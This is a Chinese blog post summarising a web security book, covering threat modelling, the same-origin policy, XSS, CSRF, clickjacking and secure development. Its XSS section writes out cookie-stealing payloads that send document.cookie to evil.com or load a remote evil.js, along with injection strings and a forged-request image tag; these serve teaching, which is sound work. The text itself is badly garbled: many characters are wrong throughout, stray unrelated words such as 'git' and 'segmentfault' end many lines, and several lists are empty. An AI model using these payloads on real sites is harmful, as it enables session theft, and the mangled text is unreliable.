安全是一門樸素的學問,也是一種平衡的藝術。javascript
如同開發者會遇到的挑戰同樣,有不少問題,不放到一個海量用戶的環境下,是難以暴露出來的。因爲量變引發質變,因此管理10臺服務器,和管理1萬臺服務器的方法確定會有所區別;一樣的,評估10名工程師的代碼安全,和評估1000名工程師的代碼安全,方法確定也要有所不一樣。html
安全工程師的核心競爭力不在於他能擁有多少個 0day,掌握多少種安全技術,而是在於他對安全理解的深度,以及由此引伸的看待安全問題的角度和高度。前端
互聯網公司的最大特點和法寶。安全是一個動態的過程,由於敵方攻擊手段在變,攻擊方法在變,漏洞不斷出現;我方業務在變,軟件在變,人員在變,妄圖經過一個系統、一個方案解決全部的問題是不現實的,也是不可能的,安全須要不斷地運營、持續地優化。java
最大的漏洞是人。寫得再好的程序,在有人蔘與的狀況下,就可能會出現各類各樣不可預知的狀況,好比管理員的密碼有可能泄露,程序員有可能關掉了安全的配置參數,等等。安全問題每每發生在一些意想不到的地方。git
安全三要素是安全的基本組成元素,分別是機密性(Confdentiality)、完整性 (Integrity)、可用性(Availability)。程序員
安全評估能夠簡單地分爲4個階段:資產等級劃分、威脅分析、風險分析、確認解決方案。github
資產等級劃分是全部工做的基礎,幫助咱們明確目標是什麼,要保護什麼。數據庫
安全的問題本質在於信任問題。被劃分出來的具備不一樣信任級別的區域,咱們稱爲信任域,劃分兩個不一樣信任域之間的邊界,咱們稱爲信任邊界。segmentfault
數據從高等級的信任域流向低等級的信任域,是不須要通過安全檢查的;數據從低等級的信任域流向高等級的信任域,則須要通過信任邊界的安全檢查。跨域
在實際中會遇到比這複雜許多的狀況,好比一樣是兩個應用,互相之間存在數據交互業務,那麼就要考慮這裏的數據交互對於各自應用來講是不是可信的,是否應該在兩個應用之間劃一個邊界,而後對流經邊界的數據作安全檢查。
威脅分析就是把全部的威脅都找出來。怎麼找?通常是採用頭腦風暴法。固然,也有一些比較科學的方法,好比使用一個模型,幫助咱們去想,在哪些方面有可能會存在威脅,這個過程可以避免遺漏,這就是威脅建模。
在本書中介紹一種威脅建模的方法,它最先是由微軟提出的,叫作 STRIDE 模型。咱們在分析威脅時,能夠從如下6個方面去考慮。
風險分析,Risk = Probability Damage Potential ,風險 = 可能性 損失程度
如何更科學地衡量風險呢?這裏再介紹一個 DREAD 模型,它也是由微軟提出,指導咱們應該從哪些方面去判斷一個威脅的風險程度。
安全解決方案是安全評估的產出物。解決方案必定要有針對性,這種針對性是由資產等級劃分、威脅分析、風險分析等階段的結果給出的。
沒有不安全的業務,只有不安全的實現方式。
那麼什麼是一個好的安全方案呢:
同源策略是瀏覽器安全的基礎,它限制了來自不一樣源的「document」或腳本,對當前「document」讀取或設置某些屬性。
爲了避免讓瀏覽器的頁面行爲發生混亂,瀏覽器提出了「Origin」(源)這一律念,來自不一樣源的對象沒法互相干擾。
在瀏覽器中,<script>
、<img>
、<iframe>
、<link>
等標籤均可以不受同源策略的限制跨域加載資源,這些帶 src 屬性的標籤每次加載時,其實是由瀏覽器發起了一次 GET 請求。不一樣於 XHR 的是,經過標籤的 src 屬性加載的資源,瀏覽器限制了 JS 的權限,使其不能讀、寫返回的內容。
對於 XHR 來講,它能夠訪問來自同源對象的內容。但 XHR 受到同源策略的約束,不能跨域訪問資源。若是 XHR 可以跨域訪問資源,則可能會致使一些敏感數據泄露,好比 CSRF 的 token,從而致使發生安全問題。
XHR 跨域訪問須要經過目標域返回的 HTTP 頭來受權是否容許跨域訪問,由於 HTTP 頭對於瀏覽器中的 JS 來講通常是沒法控制的,因此認爲這個方案能夠實施。
Chrome 是第一個採起多進程架構的瀏覽器,Chrome 的主要進程分爲:瀏覽器進程、渲染進程、插件進程、擴展進程。插件進程如 flash、java、pdf 等與瀏覽器進程嚴格隔離,所以不會互相影響。
瀏覽器的多進程架構將瀏覽器的各個功能模塊分開,各個瀏覽器實例分開,當一個進程崩潰時,也不會影響到其餘的進程。
渲染引擎由 Sandbox 隔離,網頁代碼要與瀏覽器內核進程通訊、與操做系統通訊都須要經過IPCchannel,在其中會進行一些安全檢查。
Sandbox 設計是爲了讓不可信任的代碼運行在必定的環境中,限制不可信任的代碼訪問隔離區以外的資源。Sandbox須要考慮用戶代碼針對本地文件系統、內存、數據庫、網絡的可能請求,能夠採用默認拒絕的策略,若是必定要跨越 Sandbox 邊界產生數據交換,則只能經過指定的數據通道,好比通過封裝的 API 來完成,在這些 API 中會嚴格檢查請求的合法性。
Sandbox 可讓不受信任的網頁代碼、JS 代碼運行在一個受到限制的環境中,從而保護本地桌面系統的安全。
惡意網址攔截是瀏覽器週期性地從服務器端獲取一份最新的惡意網址黑名單,若是用戶上網時訪問的網址存在於此黑名單中,瀏覽器就會彈出一個警告頁面。
跨站腳本攻擊(Cross Site Script,XSS)指經過「HTML注入」篡改了網頁,插入了惡意的腳本,從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊。
XSS 的本質是一種 HTML 注入,用戶的數據被當成了 HTML 代碼一部分來執行,從而混淆了本來的語義,產生了新的語義。
針對各類不一樣場景產生的 XSS,須要區分情景對待。XSS 根據效果不一樣分爲:
存儲型 XSS 的風險會高於反射型 XSS,由於存儲型 XSS 會保存在服務器上,跨頁面存在。
反射型 XSS 的例子:一個頁面把用戶輸入的參數直接輸出到頁面上,那麼用戶就可能提交一段 HTML 代碼,這個代碼將直接在頁面執行。咱們能夠利用這個漏洞盜取訪問該頁面的任何人的 Cookie,甚至是管理員的,好比輸入 <img src="http://evil.com/log?"+escape(document.cookie) />
。
存儲型 XSS 的例子:一個帶留言板的網頁,若是沒有對用戶輸入進行過濾和轉譯的話,攻擊者在留言板留言 <script>alert('XSS')</script>
之後其餘用戶在進入這個頁面時就會獲取並執行這個腳本。
DOM Based XSS 的例子:
<script> function test(){ var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>"; } </script> <div id="t" ></div> <input type="text" id="text" value="" /> <input type="button" id="s" value="write" onclick="test()" />
用戶能夠輸入這樣一個字段 ' onclick=alert(/xss/) //
,這個字段首先用一個單引號閉合掉 href 的第一個單引號,而後插入一個 onclick 事件,最後再用註釋符 //
註釋掉第二個單引號。點擊這個新生成的連接,腳本將被執行。
點擊這裏查看效果。
也能夠直接閉合掉 a
標籤,插入一個新的 Script 標籤 ><img src=# onerror=alert(/xss2/) /><
這樣也能夠執行腳本。
在前面的 XSS 攻擊奏效以後,能夠作的事就多了
<script src=http://evil.com/evil.js/>
,在這個腳本中發送 document.cookie
給遠程,好比插入一個圖片,圖片的 src 是 "http://evil.com/log?"+escape(document.cookie)
form.submit()
,也能夠直接經過 XHR 發送。獲取用戶信息:
navigator.userAgent
或者瀏覽器版本之間獨特的差別,來獲取瀏覽器版本信息,能夠實施精準的瀏覽器內存攻擊。visited
屬性,能夠判斷用戶是否曾經訪問某個連接。<base>
標籤的使用<base>
標籤是文檔根 URL 元素,能夠出如今頁面的任何地方,並做用於位於該標籤以後的全部標籤。
好比頁面打開一張不存在的圖片 <img src="/images/logo.png"/>
這個圖片會加載失敗,若是在這個 img 標籤前加上 <base>
標籤 <base href="http://www.google.com" />
那麼這個圖片將從這個指定的 URL 加載,即 http://www.google.com/images/logo.png
這個地址加載資源。
攻擊者若是在頁面中插入 <base>
標籤,就能夠經過在遠程服務器上僞造圖片、連接或腳本,劫持當前頁面中的全部使用相對路徑,包括全部使用 src
和 href
屬性索引資源的標籤。
window.name
的使用window.name
對象是一個很神奇的東西,對當前窗口的 window.name
對象賦值,沒有特殊字符的限制。由於 window
對象是瀏覽器的窗體,而並不是 document
對象,所以不少時候 window
對象不受同源策略的限制,所以能夠實現跨域、跨頁面傳遞數據。
好比在一個被 XSS 攻擊的頁面中,獲取到信息賦給 window.name
,而後當即跳轉到另外一個網站。
window.name = "test~ User Cookie is: " + document.cookie; alert(document.domain + " " + window.name); window.location = "http://www.google.com/";
在另外一個網站中便可獲取到上一頁面的信息
console.log(window.name); // test~ User Cookie is: ...
若是給 Cookie 設置了 HttpOnly 那麼經過 JS 就沒法讀取到 Cookie。HttpOnly 能夠有選擇性地加在任何一個 Cookie 值上,能夠僅把 HttpOnly 標記給用於認證的關鍵 Cookie。
HttpOnly 解決的是 XSS 後的 Cookie 劫持攻擊。
輸入檢查通常是檢查用戶輸入的數據中是否包含一些特殊字符,如 <
、>
、'
、"
等。若是發現存在特殊字符,則將這些字符過濾或者編碼。
這種作法相似於白名單,可讓一些基於特殊字符的攻擊失效。
輸入檢查的邏輯,必須放在服務器端代碼中實現。若是隻是在客戶端使用 JS 進行輸入檢查,是很容易被攻擊者繞過的,廣泛作法是同時在客戶端 JS 代碼和服務器端代碼中實現相同的輸入檢查。客戶端輸入檢查,能夠阻擋大部分誤操做的正經常使用戶,從而節約服務器資源。
比較智能的輸入檢查,還會匹配 XSS 的特徵。好比查找用戶數據中是否包含了 <script>
、javascript
等敏感字符。
除了富文本的輸出外,在變量輸出到 HTML 頁面時,可使用編碼或轉義的方式來防護 XSS 攻擊。編碼方式 HtmlEncode 要求將一些經常使用的特殊字符進行轉譯,好比 &
轉化爲 &
、<
轉化爲 <
、/
轉化爲 /
等。
在 IE5-8 的時代,有過一個 CSS 表達式 (CSS Expression)解決方案,能夠在 CSS 裏面寫 JS,給 CSS 屬性賦一個表達式,當時用來作不少 hack 方案,可是做爲一個 Web 時代臨時的解決方案也有它的弊端
background: url(javascript:alert("XSS!"));
最近的 CSS Houdini 跟這個 CSS Expression 有點相似,在瀏覽器正式上線後能夠關注一下。
跨站點請求僞造(Cross Site Request Forgery,CSRF)
攻擊者首先在一個網頁中添加一個圖片 <img src="http://blogs.com/blog/remove?id=123">
,這個 src 是指向了刪除一個博客網站中某博客的連接,用戶訪問這個網頁,這個圖片加載時博客網站的這個博客就會被刪除。
CSRF 攻擊的過程,每每是在用戶不知情的狀況下構造了網絡請求。而驗證碼強制用戶必須與應用進行交互,才能完成最終請求。所以在一般狀況下,驗證碼可以很好地遏制 CSRF 攻擊。
但不少時候,出於用戶體驗考慮,網站不能給全部的操做都加上驗證碼。所以,驗證碼只能做爲防護CSRF的一種輔助手段,而不能做爲最主要的解決方案。
檢查 Referer 頭常常被用來做爲圖片防盜鏈的手段,也能夠被用來檢查請求是否來自合法的源。
若是用戶請求的 Referer 值不是這個頁面,甚至不是發帖網站的域,則極有多是 CSRF 攻擊。
但並非任什麼時候候服務器都能獲取到 Referer 值,如下狀況就可能沒法獲取
<a>
、<area>
或者 <link>
元素上將 rel 屬性設置爲 noreferrer
也不會發送 Referer , <a href="http://example.com" rel="noreferrer">
,這是 HTML5 爲了保護敏感信息和隱私設置的,由於經過 Referer 可能會泄露一些敏感信息。https://link.zhihu.com/?target=https%3A//tieba.baidu.com/p/3746839672
https://link.zhihu.com/
,而後再跳轉到目標網址。這時,Referer 字段就不會包含原始網址,打開 Devtools 能夠看到的 Doc 請求不包含 Referer 字段。<a href="https://tieba.baidu.com/p/3746839672">文章</a>
,此時點擊跳轉,請求的 Doc 會包含 Referer 字段。CSRF 可以攻擊成功,本質緣由是重要操做的全部參數都是能夠被攻擊者猜想到的。若是增長一個隨機的不可預測的參數,那麼將大大增長被 CSRF 的難度,這就是引入 Token 的緣由。
在使用 Token 時,應該儘可能把 Token 放在表單中。把敏感操做由 GET 改成 POST ,以 form 表單或 AJAX 的形式提交,以免 Token 泄露。
防護 CSRF 的 Token,是根據不可預測性原則設計的方案,因此 Token 的生成必定要足夠隨機,須要使用安全的隨機數生成器生成 Token。用戶提交表單後,對比用戶提交的 Token 與當前用戶 Session 中的 Token 是否一致。
CSRF 能夠在用戶不知不覺中完成攻擊。但在須要與用戶進行交互的場景中,攻擊操做是沒法進行的,好比若是須要驗證碼的話。可是,點擊劫持使用戶在不知不覺中完成交互過程。
點擊劫持是一種視覺上的欺騙手段,經過用一個覆蓋物遮擋住用戶想要點擊的地方,誘使用戶進行點擊。點擊劫持攻擊與 CSRF 相似,都是在用戶不知情的狀況下誘使用戶完成一些動做。
CSRF 攻擊的過程當中,若是出現用戶交互的頁面,則攻擊可能會沒法順利完成。但點擊劫持沒有這個顧慮,它利用的就是與用戶產生交互的頁面。
點擊劫持的防護手段:
禁止 ifame 嵌套:能夠經過判斷當前網頁的 location 是不是最頂級,來排除 iframe 的嵌套
if (top.location !== location) { top.location = self.location }
但這種辦法能夠經過嵌套多個 iframe 的方式繞過,或者經過限制 iframe 頁面中 JS 腳本執行的方式來繞過。
使用 X-Frame-Options 頭:使用 HTTP 的 X-Frame-Options 頭能夠控制瀏覽器加載 frame 頁面的行爲,有三個值能夠設置
好比咱們看到 SegmentFault 的頁面就使用了這個 HTTP 頭來做爲點擊劫持的防護手段
HTML5 中爲 iframe 提供了一個屬性 sandbox,這個屬性能夠經過參數來對 iframe 中的內容啓用進行更進去的控制,好比是否容許提交表單、是否容許執行腳本、是否容許訪問頂層窗口、是否容許同源訪問、是否容許彈框等等,從而極大加強應用使用 iframe 的安全性。
postMessage 容許瀏覽器的 window(包括窗口、彈出窗口、iframes 等)對象往其餘窗口發送文本消息,實現跨窗口的消息傳遞,這個功能是不受同源策略限制的。使用時有兩個安全問題須要注意:
當一個產品功能有缺陷、用戶體驗極差,甚至是成天宕機的時候,是談不上安全性的,由於產品自己可能都已經沒法存在下去了。可是當一個產品其餘方面都作得很好的時候,安全有可能會成爲產品的一種核心競爭力,成爲拉開產品與競爭對手之間差距的祕密武器。只有安全也作得好的產品,才能成爲真正的好產品。
搜索結果是否安全,對網民來講是很重要的,由於搜索引是互聯網最重要的一個門戶。曾經發生的一些欺詐案件中,釣魚網站公然出如今搜索結果中,致使不少用戶上當受騙。
安全是產品的一種特性,若是咱們的產品可以潛移默化地培養用戶的安全習慣,將用戶往更安全的行爲上引導,那麼這樣的安全就是最理想的產品安全。
一個優秀的安全方案,應該具備兩個條件:
可使安全用的解決方案:
業務邏輯安全
例子 4:迴歸到 QQ 被盜的狀況,用戶帳戶被盜可能有多種可能
用戶登陸的密碼也是高度類似的,好比 12345六、66666六、qwerty、abc123 等,只要挨個嘗試這些簡單的密碼組合就能暴力破解不少用戶的密碼。
另外,過往網站的數據庫被盜致使的用戶數據流失,若是數據庫中的密碼是明文保存,或者是沒有加鹽的哈希值,可能致使攻擊者根據這些密碼來嘗試同一個用戶的不一樣網站,由於大部分用戶都習慣於使用同一個密碼登陸不一樣網站。
安全開發生命週期 SDL(Security Development Lifecycle),由微軟最先提出,是幫助解決軟件安全問題的辦法,在開發的全部階段都引入了安全和隱私的原則。
SDL 的大體步驟以下:
SDL 實戰經驗:
網上的帖子大多深淺不一,甚至有些先後矛盾,在下的文章都是學習過程當中的總結,若是發現錯誤,歡迎留言指出,若是本文幫助到了你,別忘了點贊支持一下哦,你的點贊是我更新的最大動力!(收藏不點贊,都是耍流氓 🤣)~
參考文檔:
PS:本文收錄在在下的博客 Github - SHERlocked93/blog 系列文章中,歡迎你們關注個人公衆號 前端下午茶
,直接搜索便可添加或者點這裏添加,持續爲你們推送前端以及前端周邊相關優質技術文,共同進步,一塊兒加油~
另外能夠加入「前端下午茶交流羣」微信羣,微信搜索 sherlocked_93
加我好友,備註加羣,我拉你入羣~